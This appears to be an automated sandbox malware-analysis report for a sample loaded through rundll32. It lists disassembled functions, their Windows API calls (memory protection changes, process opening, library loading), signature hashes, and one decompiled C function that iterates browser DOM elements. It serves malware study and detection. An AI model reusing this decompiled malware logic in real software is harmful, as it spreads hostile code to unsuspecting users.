                          Uniqueness

                          Uniqueness Score: -1.00%

                          Function 04CCE3CD Relevance: 7.6, APIs: 5, Instructions: 59memoryCOMMON
                          Download Yara Rule
                          APIs
                            • Part of subcall function 04CCD580: lstrlen.KERNEL32(00000000,00000000,?,00000000,04CB243E,00000000,00000000,00000000,00000000,?,00000022,00000000,00000000,00000000,?,?), ref: 04CCD58C
                          • RtlAllocateHeap.NTDLL(00000000,?,00000000), ref: 04CCE3F6
                          • memcpy.NTDLL(00000000,?,?), ref: 04CCE409
                          • RtlEnterCriticalSection.NTDLL(04CDA428), ref: 04CCE41A
                          • RtlLeaveCriticalSection.NTDLL(04CDA428), ref: 04CCE42F
                          • HeapFree.KERNEL32(00000000,00000000,?,00000000), ref: 04CCE467
                          Memory Dump Source
                          • Source File: 00000003.00000002.501664627.0000000004CB0000.00000040.10000000.00040000.00000000.sdmp, Offset: 04CB0000, based on PE: false
                          Joe Sandbox IDA Plugin
                          • Snapshot File: hcaresult_3_2_4cb0000_rundll32.jbxd
                          Yara matches
                          Similarity
                          • API ID: CriticalHeapSection$AllocateEnterFreeLeavelstrlenmemcpy
                          • String ID:
                          • API String ID: 2349942465-0
                          • Opcode ID: c7ef694a0f81583fa96f454e5038899e2b376049f6a94c86b5d31e3fc7f780e0
                          • Instruction ID: 7bc5926010c373d3ff5adfa2f9d1714f84ad67182ee1d2feb58f25fda449551c
                          • Opcode Fuzzy Hash: c7ef694a0f81583fa96f454e5038899e2b376049f6a94c86b5d31e3fc7f780e0
                          • Instruction Fuzzy Hash: 8811C876102210AFD7115F24DC48E6B77AEEB86335705413EF95693600D67AFC059BE1
                          Uniqueness

                          Uniqueness Score: -1.00%

                          Function 04CC4D17 Relevance: 7.6, APIs: 5, Instructions: 57memorystringCOMMON
                          Download Yara Rule
                          APIs
                          • lstrlen.KERNEL32(04CBC1F8,00000000,00000000,00000000,?,04CC0FD9,?,04CBC1F8,00000000), ref: 04CC4D2D
                          • lstrlen.KERNEL32(?,?,04CC0FD9,?,04CBC1F8,00000000), ref: 04CC4D34
                          • RtlAllocateHeap.NTDLL(00000000,00000029), ref: 04CC4D42
                            • Part of subcall function 04CBEEF2: GetLocalTime.KERNEL32(?,?,?,?,04CCFC9E,00000000,00000001), ref: 04CBEEFC
                            • Part of subcall function 04CBEEF2: wsprintfA.USER32 ref: 04CBEF2F
                          • wsprintfA.USER32 ref: 04CC4D64
                            • Part of subcall function 04CBED48: GetSystemTime.KERNEL32(?,00000000,00000000,00000000,?,04CC4D8C,00000000,?,00000000,00000000,00000006,?,?,?,00000000), ref: 04CBED66
                            • Part of subcall function 04CBED48: wsprintfA.USER32 ref: 04CBED8B
                          • HeapFree.KERNEL32(00000000,00000000,00000000,?,00000000,00000000,00000006,?,?,?,00000000), ref: 04CC4D95
                          Memory Dump Source
                          • Source File: 00000003.00000002.501664627.0000000004CB0000.00000040.10000000.00040000.00000000.sdmp, Offset: 04CB0000, based on PE: false
                          Joe Sandbox IDA Plugin
                          • Snapshot File: hcaresult_3_2_4cb0000_rundll32.jbxd
                          Yara matches
                          Similarity
                          • API ID: wsprintf$HeapTimelstrlen$AllocateFreeLocalSystem
                          • String ID:
                          • API String ID: 3847261958-0
                          • Opcode ID: a6d25e1b6b45a9fd26c1e89e648b2d066e7af49ea3d830e7e905b59dedbd27e7
                          • Instruction ID: 5cdb7c198f450b02e62bfe73987bde86539c8f1c37fd5e7e62231f15f8d3dee5
                          • Opcode Fuzzy Hash: a6d25e1b6b45a9fd26c1e89e648b2d066e7af49ea3d830e7e905b59dedbd27e7
                          • Instruction Fuzzy Hash: BF019639141118BFDB112F25EC44EAB7F6FEF84764F048025FD0996110D63AAD55DBA0
                          Uniqueness

                          Uniqueness Score: -1.00%

                          Function 04CCDCF6 Relevance: 7.6, APIs: 5, Instructions: 56COMMON
                          Download Yara Rule
                          APIs
                          • ResetEvent.KERNEL32(?,00000008,00000000,0000EA60,00000000,00000000,00000000,?,04CBDBAC,?,?,00000000,04CB3EC6,?,00000000), ref: 04CCDD35
                          • ResetEvent.KERNEL32(?,?,04CBDBAC,?,?,00000000,04CB3EC6,?,00000000), ref: 04CCDD3A
                          • GetLastError.KERNEL32(04CBDBAC,?,?,00000000,04CB3EC6,?,00000000), ref: 04CCDD55
                          • GetLastError.KERNEL32(0000EA60,00000000,00000000,00000000,?,04CBDBAC,?,?,00000000,04CB3EC6,?,00000000), ref: 04CCDD84
                            • Part of subcall function 04CBD429: lstrlen.KERNEL32(00000000,00000008,00000000,00000000,?,?,04CCDD0F,00000000,00000000,00000004,00000000,?,04CBDBAC,?,?,00000000), ref: 04CBD435
                            • Part of subcall function 04CBD429: memcpy.NTDLL(00000000,00000000,00000000,00000000,00000001,00000001,?,?,04CCDD0F,00000000,00000000,00000004,00000000,?,04CBDBAC,?), ref: 04CBD493
                            • Part of subcall function 04CBD429: lstrcpy.KERNEL32(00000000,00000000), ref: 04CBD4A3
                          • SetEvent.KERNEL32(?,04CBDBAC,?,?,00000000,04CB3EC6,?,00000000), ref: 04CCDD76
                          Memory Dump Source
                          • Source File: 00000003.00000002.501664627.0000000004CB0000.00000040.10000000.00040000.00000000.sdmp, Offset: 04CB0000, based on PE: false
                          Joe Sandbox IDA Plugin
                          • Snapshot File: hcaresult_3_2_4cb0000_rundll32.jbxd
                          Yara matches
                          Similarity
                          • API ID: Event$ErrorLastReset$lstrcpylstrlenmemcpy
                          • String ID:
                          • API String ID: 1449191863-0
                          • Opcode ID: 7bc393c8683f84934c68cc29a92e913d20a8659d90da4cd074814b3fc229f101
                          • Instruction ID: 96d7be510cc341970043ddd83cbb55341aab90b37a8e17d8e79b30143ffd31b1
                          • Opcode Fuzzy Hash: 7bc393c8683f84934c68cc29a92e913d20a8659d90da4cd074814b3fc229f101
                          • Instruction Fuzzy Hash: 48118B7510060AAFDB21AF64EC44F9B3BBBEF08364F114638F916810A4C731F9A5DBA0
                          Uniqueness

                          Uniqueness Score: -1.00%

                          Function 04CD0A9D Relevance: 7.6, APIs: 5, Instructions: 55memorystringCOMMON
                          Download Yara Rule
                          APIs
                          • RtlAllocateHeap.NTDLL(00000000,00004000,-00000008), ref: 04CD0AB4
                            • Part of subcall function 04CCEC09: WaitForSingleObject.KERNEL32(?,00000000,00000000,00000000,?,00000000,00000000,00000000,00000000,00000000,?,00000008,?,00000000,00000000), ref: 04CCEC20
                            • Part of subcall function 04CCEC09: SetEvent.KERNEL32(?,?,?,?,04CB3EC6,?,?), ref: 04CCEC30
                          • lstrlen.KERNEL32(?,?,?,?,?,04CB859B,?,?), ref: 04CD0AD7
                          • lstrlen.KERNEL32(?,?,?,?,04CB859B,?,?), ref: 04CD0AE1
                          • memcpy.NTDLL(?,?,00004000,?,?,04CB859B,?,?), ref: 04CD0AF2
                          • HeapFree.KERNEL32(00000000,?,?,?,?,04CB859B,?,?), ref: 04CD0B14
                          Memory Dump Source
                          • Source File: 00000003.00000002.501664627.0000000004CB0000.00000040.10000000.00040000.00000000.sdmp, Offset: 04CB0000, based on PE: false
                          Joe Sandbox IDA Plugin
                          • Snapshot File: hcaresult_3_2_4cb0000_rundll32.jbxd
                          Yara matches
                          Similarity
                          • API ID: Heaplstrlen$AllocateEventFreeObjectSingleWaitmemcpy
                          • String ID:
                          • API String ID: 442095154-0
                          • Opcode ID: e34d2004a0f3d0ea1b0bab523237806b40a5a45126f2ce0bfb42c2695d722097
                          • Instruction ID: 459ca17133f450b2d0b55e9750110c97fe21c60b851ed8c5c6b9769fbce25620
                          • Opcode Fuzzy Hash: e34d2004a0f3d0ea1b0bab523237806b40a5a45126f2ce0bfb42c2695d722097
                          • Instruction Fuzzy Hash: 85115279600204FFDB119F5AEC44F5E7BB6EF85358F204029E90597250E775FE049B60
                          Uniqueness

                          Uniqueness Score: -1.00%

                          Function 04CC7A3E Relevance: 7.5, APIs: 5, Instructions: 49memorystringCOMMON
                          Download Yara Rule
                          APIs
                            • Part of subcall function 04CBAE7C: lstrlen.KERNEL32(04CBE448,00000000,00000000,?,?,04CC7A5B,?,?,?,?,04CBE448,?), ref: 04CBAE8B
                            • Part of subcall function 04CBAE7C: mbstowcs.NTDLL ref: 04CBAEA7
                          • lstrlenW.KERNEL32(00000000,00000000,00000000,?,?,?,?,04CBE448,?), ref: 04CC7A6A
                          • RtlAllocateHeap.NTDLL(00000000,?), ref: 04CC7A7C
                          • CreateDirectoryW.KERNEL32(00000000,00000000,?,?,04CBE448,?), ref: 04CC7A99
                          • lstrlenW.KERNEL32(00000000,?,?,04CBE448,?), ref: 04CC7AA5
                          • HeapFree.KERNEL32(00000000,00000000,?,?,04CBE448,?), ref: 04CC7AB9
                          Memory Dump Source
                          • Source File: 00000003.00000002.501664627.0000000004CB0000.00000040.10000000.00040000.00000000.sdmp, Offset: 04CB0000, based on PE: false
                          Joe Sandbox IDA Plugin
                          • Snapshot File: hcaresult_3_2_4cb0000_rundll32.jbxd
                          Yara matches
                          Similarity
                          • API ID: lstrlen$Heap$AllocateCreateDirectoryFreembstowcs
                          • String ID:
                          • API String ID: 3403466626-0
                          • Opcode ID: aa53785c476afef9bce7439166dd1fafab5ad259d99377bcdcb583076e292572
                          • Instruction ID: 0193c547538370b49c7fcf02dac4036c7378d420aef0b3f77f602f5e853cb57b
                          • Opcode Fuzzy Hash: aa53785c476afef9bce7439166dd1fafab5ad259d99377bcdcb583076e292572
                          • Instruction Fuzzy Hash: 63015E7A102204FFD7119F98EC84FAA77ADEF49754F004029FA05D7150C779AE04CBA4
                          Uniqueness

                          Uniqueness Score: -1.00%

                          Function 04CBF49F Relevance: 7.5, APIs: 5, Instructions: 45libraryCOMMON
                          Download Yara Rule
                          APIs
                          • GetModuleHandleA.KERNEL32 ref: 04CBF4BF
                          • GetModuleHandleA.KERNEL32 ref: 04CBF4CD
                          • LoadLibraryExW.KERNEL32(?,?,?), ref: 04CBF4DA
                          • GetModuleHandleA.KERNEL32 ref: 04CBF4F1
                          • GetModuleHandleA.KERNEL32 ref: 04CBF4FD
                          Memory Dump Source
                          • Source File: 00000003.00000002.501664627.0000000004CB0000.00000040.10000000.00040000.00000000.sdmp, Offset: 04CB0000, based on PE: false
                          Joe Sandbox IDA Plugin
                          • Snapshot File: hcaresult_3_2_4cb0000_rundll32.jbxd
                          Yara matches
                          Similarity
                          • API ID: HandleModule$LibraryLoad
                          • String ID:
                          • API String ID: 1178273743-0
                          • Opcode ID: f34fc09b1557849e539beaee7d5856859ffc4fbb358ee35ab8e3643e3d2fc287
                          • Instruction ID: ff8e43bdc996b802ac32f6a6647bddb8e438b3fe0e4f8660a2c0ec42c0b6a502
                          • Opcode Fuzzy Hash: f34fc09b1557849e539beaee7d5856859ffc4fbb358ee35ab8e3643e3d2fc287
                          • Instruction Fuzzy Hash: 71018179601316AB9F016F69EC40A9A3BAEEF44261B04403AFD15C2220DB75ED25DBE4
                          Uniqueness

                          Uniqueness Score: -1.00%

                          Function 04CCBDC6 Relevance: 7.5, APIs: 5, Instructions: 42stringCOMMON
                          Download Yara Rule
                          APIs
                          • StrChrA.SHLWAPI(00000000,0000003D,00000000,00000000,?,04CB396C), ref: 04CCBDCC
                          • StrTrimA.SHLWAPI(00000001,?,?,04CB396C), ref: 04CCBDEF
                          • StrTrimA.SHLWAPI(00000000,?,?,04CB396C), ref: 04CCBDFE
                          • _strupr.NTDLL ref: 04CCBE01
                          • lstrlen.KERNEL32(00000000,04CB396C), ref: 04CCBE09
                          Memory Dump Source
                          • Source File: 00000003.00000002.501664627.0000000004CB0000.00000040.10000000.00040000.00000000.sdmp, Offset: 04CB0000, based on PE: false
                          Joe Sandbox IDA Plugin
                          • Snapshot File: hcaresult_3_2_4cb0000_rundll32.jbxd
                          Yara matches
                          Similarity
                          • API ID: Trim$_struprlstrlen
                          • String ID:
                          • API String ID: 2280331511-0
                          • Opcode ID: d866806603a8598d74376b82a5bd33ffb65e4ac7ca73f10b378f504e81382a71
                          • Instruction ID: c3b9fbd9141ca153de51f99b1f28ab57b5a7f9fd0fc5cb174051001c64e9a978
                          • Opcode Fuzzy Hash: d866806603a8598d74376b82a5bd33ffb65e4ac7ca73f10b378f504e81382a71
                          • Instruction Fuzzy Hash: 34F06279202011BFE705AB24FC88F7FB7ADEB89655B004009F505C7280DF38AC019760
                          Uniqueness

                          Uniqueness Score: -1.00%

                          Function 04CD1659 Relevance: 7.5, APIs: 5, Instructions: 42memoryCOMMON
                          Download Yara Rule
                          APIs
                          • RtlEnterCriticalSection.NTDLL(04CDA400), ref: 04CD1664
                          • RtlLeaveCriticalSection.NTDLL(04CDA400), ref: 04CD1675
                          • VirtualProtect.KERNEL32(?,00000004,00000040,0000007F,?,?,04CC4B8B,?,?,04CDA428,04CB25BA,00000003), ref: 04CD168C
                          • VirtualProtect.KERNEL32(?,00000004,0000007F,0000007F,?,?,04CC4B8B,?,?,04CDA428,04CB25BA,00000003), ref: 04CD16A6
                          • GetLastError.KERNEL32(?,?,04CC4B8B,?,?,04CDA428,04CB25BA,00000003), ref: 04CD16B3
                          Memory Dump Source
                          • Source File: 00000003.00000002.501664627.0000000004CB0000.00000040.10000000.00040000.00000000.sdmp, Offset: 04CB0000, based on PE: false
                          Joe Sandbox IDA Plugin
                          • Snapshot File: hcaresult_3_2_4cb0000_rundll32.jbxd
                          Yara matches
                          Similarity
                          • API ID: CriticalProtectSectionVirtual$EnterErrorLastLeave
                          • String ID:
                          • API String ID: 653387826-0
                          • Opcode ID: 5595aaaea711c42df63baeeac9f7091e89ecc6092cc0448821dec95e198b4fe4
                          • Instruction ID: 6ee686761fe7bc3061fc8c97be4d4fa527f91a576d9f8494311930ca1a3f3ad7
                          • Opcode Fuzzy Hash: 5595aaaea711c42df63baeeac9f7091e89ecc6092cc0448821dec95e198b4fe4
                          • Instruction Fuzzy Hash: 9A018F79200204AFD7209F25CD04E6AB7B9EF84720B244119EA5693650D771FE029F60
                          Uniqueness

                          Uniqueness Score: -1.00%

                          Function 04CC0818 Relevance: 7.5, APIs: 5, Instructions: 37COMMON
                          Download Yara Rule
                          APIs
                          • CreateEventA.KERNEL32(00000000,00000001,00000000,00000000,04CC2397,?), ref: 04CC0820
                          • GetVersion.KERNEL32 ref: 04CC082F
                          • GetCurrentProcessId.KERNEL32 ref: 04CC084B
                          • OpenProcess.KERNEL32(0010047A,00000000,00000000), ref: 04CC0868
                          • GetLastError.KERNEL32 ref: 04CC0887
                          Memory Dump Source
                          • Source File: 00000003.00000002.501664627.0000000004CB0000.00000040.10000000.00040000.00000000.sdmp, Offset: 04CB0000, based on PE: false
                          Joe Sandbox IDA Plugin
                          • Snapshot File: hcaresult_3_2_4cb0000_rundll32.jbxd
                          Yara matches
                          Similarity
                          • API ID: Process$CreateCurrentErrorEventLastOpenVersion
                          • String ID:
                          • API String ID: 2270775618-0
                          • Opcode ID: 910f21aeca36d80e3cab9b522e91b5873b62a5eda1685dc52f4a040047b4bbae
                          • Instruction ID: bfdc0f16e3e0da30b04f2232f42a836f958ab4b185e79368a50e2fb95e0b08ac
                          • Opcode Fuzzy Hash: 910f21aeca36d80e3cab9b522e91b5873b62a5eda1685dc52f4a040047b4bbae
                          • Instruction Fuzzy Hash: B0F0967C642302EFEB259FB5BC1AB153BA2F708745F10421DE656CA1C0D779A941CB98
                          Uniqueness

                          Uniqueness Score: -1.00%

                          Function 04CB89EE Relevance: 7.5, APIs: 5, Instructions: 35synchronizationthreadCOMMON
                          Download Yara Rule
                          APIs
                          • GetCurrentThreadId.KERNEL32 ref: 04CB89FB
                          • WaitForSingleObject.KERNEL32(00000000,000000FF,?,?,00000040,?,?,?,?,?,?,00000000,?), ref: 04CB8A0B
                          • CloseHandle.KERNEL32(00000000,?,?,00000040,?,?,?,?,?,?,00000000,?), ref: 04CB8A14
                          • VirtualFree.KERNEL32(?,00000000,00008000,?,?,04CC2F34,?,?,00000040,?,?,?,?,?,?,00000000), ref: 04CB8A32
                          • VirtualFree.KERNEL32(?,00000000,00008000,?,?,04CC2F34,?,?,00000040,?,?,?,?,?,?,00000000), ref: 04CB8A3F
                          Memory Dump Source
                          • Source File: 00000003.00000002.501664627.0000000004CB0000.00000040.10000000.00040000.00000000.sdmp, Offset: 04CB0000, based on PE: false
                          Joe Sandbox IDA Plugin
                          • Snapshot File: hcaresult_3_2_4cb0000_rundll32.jbxd
                          Yara matches
                          Similarity
                          • API ID: FreeVirtual$CloseCurrentHandleObjectSingleThreadWait
                          • String ID:
                          • API String ID: 3667519916-0
                          • Opcode ID: f171d89138d6e78834666b84c5b2063664b0c1d0d3bf6be277f4b5ec1b49fe1e
                          • Instruction ID: 73f659c3f072f90d8da9bd992458df2321f9ceb6a1d3e71ec15c5d271e162ec5
                          • Opcode Fuzzy Hash: f171d89138d6e78834666b84c5b2063664b0c1d0d3bf6be277f4b5ec1b49fe1e
                          • Instruction Fuzzy Hash: 22F03A35241700AFEB20AB65DC88B5AB6ADEF45755F144628F58192590CB28FD05CAB0
                          Uniqueness

                          Uniqueness Score: -1.00%

                          Function 04CCC484 Relevance: 6.3, APIs: 5, Instructions: 78memorystringCOMMON
                          Download Yara Rule
                          APIs
                          • lstrlen.KERNEL32(?,00000000,00000000,?,?,?,?,?), ref: 04CCC4A8
                            • Part of subcall function 04CB9394: RtlAllocateHeap.NTDLL(00000000,?,04CC0051), ref: 04CB93A0
                          • wsprintfA.USER32 ref: 04CCC4D9
                            • Part of subcall function 04CBAAAF: GetSystemTimeAsFileTime.KERNEL32(?,00000000,00000000,00000030,?,?,?,?,?,?,?,?,?,?,?,04CBA1A1), ref: 04CBAAC5
                            • Part of subcall function 04CBAAAF: wsprintfA.USER32 ref: 04CBAAED
                            • Part of subcall function 04CBAAAF: lstrlen.KERNEL32(?), ref: 04CBAAFC
                            • Part of subcall function 04CBAAAF: wsprintfA.USER32 ref: 04CBAB3C
                            • Part of subcall function 04CBAAAF: wsprintfA.USER32 ref: 04CBAB71
                            • Part of subcall function 04CBAAAF: memcpy.NTDLL(00000000,?,?), ref: 04CBAB7E
                            • Part of subcall function 04CBAAAF: memcpy.NTDLL(00000008,04CD53E8,00000002,00000000,?,?), ref: 04CBAB93
                            • Part of subcall function 04CBAAAF: wsprintfA.USER32 ref: 04CBABB6
                          • HeapFree.KERNEL32(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,?), ref: 04CCC54E
                            • Part of subcall function 04CD2968: RtlEnterCriticalSection.NTDLL(060DC2D0), ref: 04CD297E
                            • Part of subcall function 04CD2968: RtlLeaveCriticalSection.NTDLL(060DC2D0), ref: 04CD2999
                          • HeapFree.KERNEL32(00000000,?,?,?,00000001,?,?,?,?,00000000,00000000,?,?,?), ref: 04CCC538
                          • HeapFree.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?), ref: 04CCC544
                          Memory Dump Source
                          • Source File: 00000003.00000002.501664627.0000000004CB0000.00000040.10000000.00040000.00000000.sdmp, Offset: 04CB0000, based on PE: false
                          Joe Sandbox IDA Plugin
                          • Snapshot File: hcaresult_3_2_4cb0000_rundll32.jbxd
                          Yara matches
                          Similarity
                          • API ID: wsprintf$Heap$Free$CriticalSectionTimelstrlenmemcpy$AllocateEnterFileLeaveSystem
                          • String ID:
                          • API String ID: 3553201432-0
                          • Opcode ID: 5903c248c56a12e83c33900fc706b3559fe009ccbd7cfd4ad0dd12fb1bb160c0
                          • Instruction ID: 3889f12d6aab30d10be876558d48936b9a59efc89584daba7c2aac95e5a4337e
                          • Opcode Fuzzy Hash: 5903c248c56a12e83c33900fc706b3559fe009ccbd7cfd4ad0dd12fb1bb160c0
                          • Instruction Fuzzy Hash: 9421F976900149AFCF11DF99DD48DDF7BBAFB48300B404419F915A6110D775AA24EBA0
                          Uniqueness

                          Uniqueness Score: -1.00%

                          Function 04CBEF5F Relevance: 6.3, APIs: 5, Instructions: 76memoryCOMMON
                          Download Yara Rule
                          APIs
                          • HeapFree.KERNEL32(00000000,?), ref: 04CBEFBC
                          • HeapFree.KERNEL32(00000000,?), ref: 04CBEFCD
                          • HeapFree.KERNEL32(00000000,?), ref: 04CBEFE5
                          • CloseHandle.KERNEL32(?), ref: 04CBEFFF
                          • HeapFree.KERNEL32(00000000,?), ref: 04CBF014
                          Memory Dump Source
                          • Source File: 00000003.00000002.501664627.0000000004CB0000.00000040.10000000.00040000.00000000.sdmp, Offset: 04CB0000, based on PE: false
                          Joe Sandbox IDA Plugin
                          • Snapshot File: hcaresult_3_2_4cb0000_rundll32.jbxd
                          Yara matches
                          Similarity
                          • API ID: FreeHeap$CloseHandle
                          • String ID:
                          • API String ID: 1910495013-0
                          • Opcode ID: 85af558c6e06b9d21714df85e4dd0144d2e14900ed5d3a9321a47d44f1bba012
                          • Instruction ID: b75864b840fc8e4c57b325a697a5875c1ae52db31ee5d529f532e94e8b8bb195
                          • Opcode Fuzzy Hash: 85af558c6e06b9d21714df85e4dd0144d2e14900ed5d3a9321a47d44f1bba012
                          • Instruction Fuzzy Hash: CA211375202521AFC6229B69DC88DAAFBAAFF49B117540514F449C3A60C736FCA1DBE0
                          Uniqueness

                          Uniqueness Score: -1.00%

                          Function 04CC96EE Relevance: 6.2, APIs: 4, Instructions: 192COMMON
                          Download Yara Rule
                          APIs
                            • Part of subcall function 04CBEC00: RegOpenKeyA.ADVAPI32(80000002,Software\Microsoft\WAB\DLLPath,00000001), ref: 04CBEC1B
                            • Part of subcall function 04CBEC00: LoadLibraryA.KERNEL32(00000000,?,00000008,?,00000001), ref: 04CBEC69
                            • Part of subcall function 04CBEC00: GetProcAddress.KERNEL32(00000000,?), ref: 04CBEC82
                            • Part of subcall function 04CBEC00: RegCloseKey.ADVAPI32(00000001,?,00000008,?,00000001), ref: 04CBECD3
                          • GetLastError.KERNEL32(?,?,00000001), ref: 04CC987C
                          • FreeLibrary.KERNEL32(?,?,00000001), ref: 04CC98E4
                          Memory Dump Source
                          • Source File: 00000003.00000002.501664627.0000000004CB0000.00000040.10000000.00040000.00000000.sdmp, Offset: 04CB0000, based on PE: false
                          Joe Sandbox IDA Plugin
                          • Snapshot File: hcaresult_3_2_4cb0000_rundll32.jbxd
                          Yara matches
                          Similarity
                          • API ID: Library$AddressCloseErrorFreeLastLoadOpenProc
                          • String ID:
                          • API String ID: 1730969706-0
                          • Opcode ID: 2ca20bdeb7937f0106607bc0366e993ef1ebd7772df881281b4cc73a384b5c97
                          • Instruction ID: 553fbe0d3524050864f47bf3ec5b6822d84abef5dc5219208c2252ab2b15b8e4
                          • Opcode Fuzzy Hash: 2ca20bdeb7937f0106607bc0366e993ef1ebd7772df881281b4cc73a384b5c97
                          • Instruction Fuzzy Hash: 9971B4B5E00209EFCF10DFE5C8849AEBBBAFF48304B14856DE516AB251D735AA41DF60
                          Uniqueness

                          Uniqueness Score: -1.00%

                          Function 04C75B9D Relevance: 6.2, APIs: 4, Instructions: 154memoryCOMMON
                          Download Yara Rule
                          APIs
                          • SysAllocString.OLEAUT32(?), ref: 04C75BD8
                          • SysFreeString.OLEAUT32(00000000), ref: 04C75CBD
                            • Part of subcall function 04C72732: SysAllocString.OLEAUT32(04C79290), ref: 04C72782
                          • SafeArrayDestroy.OLEAUT32(00000000), ref: 04C75D10
                          • SysFreeString.OLEAUT32(00000000), ref: 04C75D1F
                            • Part of subcall function 04C73A62: Sleep.KERNEL32(000001F4), ref: 04C73AAA
                          Memory Dump Source
                          • Source File: 00000003.00000002.501550730.0000000004C71000.00000020.10000000.00040000.00000000.sdmp, Offset: 04C70000, based on PE: true
                          • Associated: 00000003.00000002.501541810.0000000004C70000.00000004.10000000.00040000.00000000.sdmpDownload File
                          • Associated: 00000003.00000002.501561768.0000000004C79000.00000002.10000000.00040000.00000000.sdmpDownload File
                          • Associated: 00000003.00000002.501569378.0000000004C7A000.00000004.10000000.00040000.00000000.sdmpDownload File
                          • Associated: 00000003.00000002.501579122.0000000004C7C000.00000002.10000000.00040000.00000000.sdmpDownload File
                          Joe Sandbox IDA Plugin
                          • Snapshot File: hcaresult_3_2_4c70000_rundll32.jbxd
                          Similarity
                          • API ID: String$AllocFree$ArrayDestroySafeSleep
                          • String ID:
                          • API String ID: 3193056040-0
                          • Opcode ID: 42ee98ef799a6f519a0170e6bf9803e928cbb54bc20baa1ccb2c9b356dad3e5b
                          • Instruction ID: 8959a25df4cedcfb63df3b3b854c99e5007a14d8b61e9b7fb9f0041b39bfd7f8
                          • Opcode Fuzzy Hash: 42ee98ef799a6f519a0170e6bf9803e928cbb54bc20baa1ccb2c9b356dad3e5b
                          • Instruction Fuzzy Hash: 91516076A00609FFDB01CFA8C844A9EB7B6FF88740F158469E915DB260EB35EE05CB50
                          Uniqueness

                          Uniqueness Score: -1.00%

                          Function 04C72732 Relevance: 6.2, APIs: 4, Instructions: 154memorystringCOMMON
                          Download Yara Rule
                          C-Code - Quality: 46%
                          			E04C72732(intOrPtr* __eax) {
				void* _v8;
				WCHAR* _v12;
				void* _v16;
				char _v20;
				void* _v24;
				intOrPtr _v28;
				void* _v32;
				intOrPtr _v40;
				short _v48;
				intOrPtr _v56;
				short _v64;
				intOrPtr* _t54;
				intOrPtr* _t56;
				intOrPtr _t57;
				intOrPtr* _t58;
				intOrPtr* _t60;
				void* _t61;
				intOrPtr* _t63;
				intOrPtr* _t65;
				short _t67;
				intOrPtr* _t68;
				intOrPtr* _t70;
				intOrPtr* _t72;
				intOrPtr* _t75;
				intOrPtr* _t77;
				intOrPtr _t79;
				intOrPtr* _t83;
				intOrPtr* _t87;
				intOrPtr _t103;
				intOrPtr _t109;
				void* _t118;
				void* _t122;
				void* _t123;
				intOrPtr _t130;

				_t123 = _t122 - 0x3c;
				_push( &_v8);
				_push(__eax);
				_t118 =  *((intOrPtr*)( *__eax + 0x48))();
				if(_t118 >= 0) {
					_t54 = _v8;
					_t103 =  *0x4c7a348; // 0x5cd5a8
					_t5 = _t103 + 0x4c7b038; // 0x3050f485
					_t118 =  *((intOrPtr*)( *_t54))(_t54, _t5,  &_v32);
					_t56 = _v8;
					_t57 =  *((intOrPtr*)( *_t56 + 8))(_t56);
					if(_t118 >= 0) {
						__imp__#2(0x4c79290);
						_v28 = _t57;
						if(_t57 == 0) {
							_t118 = 0x8007000e;
						} else {
							_t60 = _v32;
							_t61 =  *((intOrPtr*)( *_t60 + 0xbc))(_t60, _v28,  &_v24);
							_t87 = __imp__#6;
							_t118 = _t61;
							if(_t118 >= 0) {
								_t63 = _v24;
								_t118 =  *((intOrPtr*)( *_t63 + 0x24))(_t63,  &_v20);
								if(_t118 >= 0) {
									_t130 = _v20;
									if(_t130 != 0) {
										_t67 = 3;
										_v64 = _t67;
										_v48 = _t67;
										_v56 = 0;
										_v40 = 0;
										if(_t130 > 0) {
											while(1) {
												_t68 = _v24;
												asm("movsd");
												asm("movsd");
												asm("movsd");
												asm("movsd");
												_t123 = _t123;
												asm("movsd");
												asm("movsd");
												asm("movsd");
												asm("movsd");
												_t118 =  *((intOrPtr*)( *_t68 + 0x2c))(_t68,  &_v8);
												if(_t118 < 0) {
													goto L16;
												}
												_t70 = _v8;
												_t109 =  *0x4c7a348; // 0x5cd5a8
												_t28 = _t109 + 0x4c7b0bc; // 0x3050f1ff
												_t118 =  *((intOrPtr*)( *_t70))(_t70, _t28,  &_v16);
												if(_t118 >= 0) {
													_t75 = _v16;
													_t118 =  *((intOrPtr*)( *_t75 + 0x34))(_t75,  &_v12);
													if(_t118 >= 0 && _v12 != 0) {
														_t79 =  *0x4c7a348; // 0x5cd5a8
														_t33 = _t79 + 0x4c7b078; // 0x76006f
														if(lstrcmpW(_v12, _t33) == 0) {
															_t83 = _v16;
															 *((intOrPtr*)( *_t83 + 0x114))(_t83);
														}
														 *_t87(_v12);
													}
													_t77 = _v16;
													 *((intOrPtr*)( *_t77 + 8))(_t77);
												}
												_t72 = _v8;
												 *((intOrPtr*)( *_t72 + 8))(_t72);
												_v40 = _v40 + 1;
												if(_v40 < _v20) {
													continue;
												}
												goto L16;
											}
										}
									}
								}
								L16:
								_t65 = _v24;
								 *((intOrPtr*)( *_t65 + 8))(_t65);
							}
							 *_t87(_v28);
						}
						_t58 = _v32;
						 *((intOrPtr*)( *_t58 + 8))(_t58);
					}
				}
				return _t118;
			}





































                          0x04c72737
                          0x04c72740
                          0x04c72741
                          0x04c72745
                          0x04c7274b
                          0x04c72751
                          0x04c7275a
                          0x04c72760
                          0x04c7276a
                          0x04c7276c
                          0x04c72772
                          0x04c72777
                          0x04c72782
                          0x04c72788
                          0x04c7278d
                          0x04c728af
                          0x04c72793
                          0x04c72793
                          0x04c727a0
                          0x04c727a6
                          0x04c727ac
                          0x04c727b0
                          0x04c727b6
                          0x04c727c3
                          0x04c727c7
                          0x04c727cd
                          0x04c727d0
                          0x04c727d8
                          0x04c727d9
                          0x04c727dd
                          0x04c727e1
                          0x04c727e4
                          0x04c727e7
                          0x04c727ed
                          0x04c727f6
                          0x04c727fc
                          0x04c727fd
                          0x04c72800
                          0x04c72801
                          0x04c72802
                          0x04c7280a
                          0x04c7280b
                          0x04c7280c
                          0x04c7280e
                          0x04c72812
                          0x04c72816
                          0x00000000
                          0x00000000
                          0x04c7281c
                          0x04c72825
                          0x04c7282b
                          0x04c72835
                          0x04c72839
                          0x04c7283b
                          0x04c72848
                          0x04c7284c
                          0x04c72854
                          0x04c72859
                          0x04c7286b
                          0x04c7286d
                          0x04c72873
                          0x04c72873
                          0x04c7287c
                          0x04c7287c
                          0x04c7287e
                          0x04c72884
                          0x04c72884
                          0x04c72887
                          0x04c7288d
                          0x04c72890
                          0x04c72899
                          0x00000000
                          0x00000000
                          0x00000000
                          0x04c72899
                          0x04c727ed
                          0x04c727e7
                          0x04c727d0
                          0x04c7289f
                          0x04c7289f
                          0x04c728a5
                          0x04c728a5
                          0x04c728ab
